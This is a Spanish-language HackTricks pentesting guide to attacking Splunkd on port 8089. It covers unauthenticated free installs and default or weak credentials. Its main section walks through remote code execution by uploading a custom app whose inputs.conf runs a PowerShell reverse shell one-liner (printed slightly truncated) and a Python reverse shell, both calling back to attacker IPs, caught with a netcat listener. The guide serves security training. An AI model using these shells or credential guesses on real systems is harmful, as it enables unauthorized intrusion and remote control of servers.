8.9 KiB
8089 - Pentesting Splunkd
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Información Básica
Splunk es una herramienta de análisis de registros que juega un papel crucial en la recopilación, análisis y visualización de datos. Aunque su propósito inicial no era servir como una herramienta SIEM (Gestión de Información y Eventos de Seguridad), ha ganado popularidad en el ámbito de monitoreo de seguridad y análisis de negocios.
Las implementaciones de Splunk se utilizan frecuentemente para almacenar datos sensibles y pueden servir como una fuente valiosa de información para posibles atacantes si logran comprometer el sistema. Puerto por defecto: 8089
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
{% hint style="info" %} El servidor web de Splunk se ejecuta por defecto en el puerto 8000. {% endhint %}
Enumeración
Versión Gratuita
La prueba de Splunk Enterprise se convierte en una versión gratuita después de 60 días, que no requiere autenticación. No es raro que los administradores de sistemas instalen una prueba de Splunk para probarlo, que posteriormente se olvida. Esto se convertirá automáticamente en la versión gratuita que no tiene ninguna forma de autenticación, introduciendo un agujero de seguridad en el entorno. Algunas organizaciones pueden optar por la versión gratuita debido a restricciones presupuestarias, sin comprender completamente las implicaciones de no tener gestión de usuarios/roles.
Credenciales Predeterminadas
En versiones más antiguas de Splunk, las credenciales predeterminadas son admin:changeme
, que se muestran convenientemente en la página de inicio de sesión.
Sin embargo, la última versión de Splunk establece credenciales durante el proceso de instalación. Si las credenciales predeterminadas no funcionan, vale la pena verificar contraseñas débiles comunes como admin
, Welcome
, Welcome1
, Password123
, etc.
Obtener Información
Una vez que iniciamos sesión en Splunk, podemos navegar por los datos, ejecutar informes, crear tableros, instalar aplicaciones de la biblioteca Splunkbase e instalar aplicaciones personalizadas.
También puedes ejecutar código: Splunk tiene múltiples formas de ejecutar código, como aplicaciones Django del lado del servidor, puntos finales REST, entradas scriptadas y scripts de alerta. Un método común para obtener ejecución remota de código en un servidor Splunk es a través del uso de una entrada scriptada.
Además, dado que Splunk se puede instalar en hosts de Windows o Linux, se pueden crear entradas scriptadas para ejecutar scripts de Bash, PowerShell o Batch.
Shodan
Splunk build
RCE
Crear Aplicación Personalizada
Una aplicación personalizada puede ejecutar scripts de Python, Batch, Bash o PowerShell.
Ten en cuenta que Splunk viene con Python instalado, por lo que incluso en sistemas Windows podrás ejecutar código python.
Puedes usar este paquete de Splunk para ayudarnos. El directorio bin
en este repositorio tiene ejemplos para Python y PowerShell. Vamos a recorrer esto paso a paso.
Para lograr esto, primero necesitamos crear una aplicación personalizada de Splunk utilizando la siguiente estructura de directorio:
tree splunk_shell/
splunk_shell/
├── bin
└── default
El bin
directorio contendrá cualquier script que pretendamos ejecutar (en este caso, un PowerShell reverse shell), y el directorio predeterminado tendrá nuestro archivo inputs.conf
. Nuestro reverse shell será un PowerShell one-liner:
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
El archivo inputs.conf le dice a Splunk qué script ejecutar y cualquier otra condición. Aquí configuramos la aplicación como habilitada y le decimos a Splunk que ejecute el script cada 10 segundos. El intervalo siempre está en segundos, y la entrada (script) solo se ejecutará si esta configuración está presente.
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Necesitamos el archivo .bat
, que se ejecutará cuando la aplicación se despliegue y ejecute la línea de comando de PowerShell.
El siguiente paso es elegir Install app from file
y subir la aplicación.
Antes de subir la aplicación personalizada maliciosa, comencemos un listener usando Netcat o socat.
sudo nc -lnvp 443
listening on [any] 443 ...
En la página Upload app
, haz clic en explorar, elige el tarball que creamos anteriormente y haz clic en Upload
. Tan pronto como subamos la aplicación, se recibirá un reverse shell ya que el estado de la aplicación se cambiará automáticamente a Enabled
.
Linux
Si estuviéramos tratando con un host de Linux, tendríamos que editar el script de Python rev.py
antes de crear el tarball y subir la aplicación maliciosa personalizada. El resto del proceso sería el mismo, y obtendríamos una conexión de reverse shell en nuestro oyente de Netcat y estaríamos listos para comenzar.
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
RCE & Escalación de Privilegios
En la siguiente página puedes encontrar una explicación de cómo este servicio puede ser abusado para escalar privilegios y obtener persistencia:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}
Referencias
{% hint style="success" %}
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.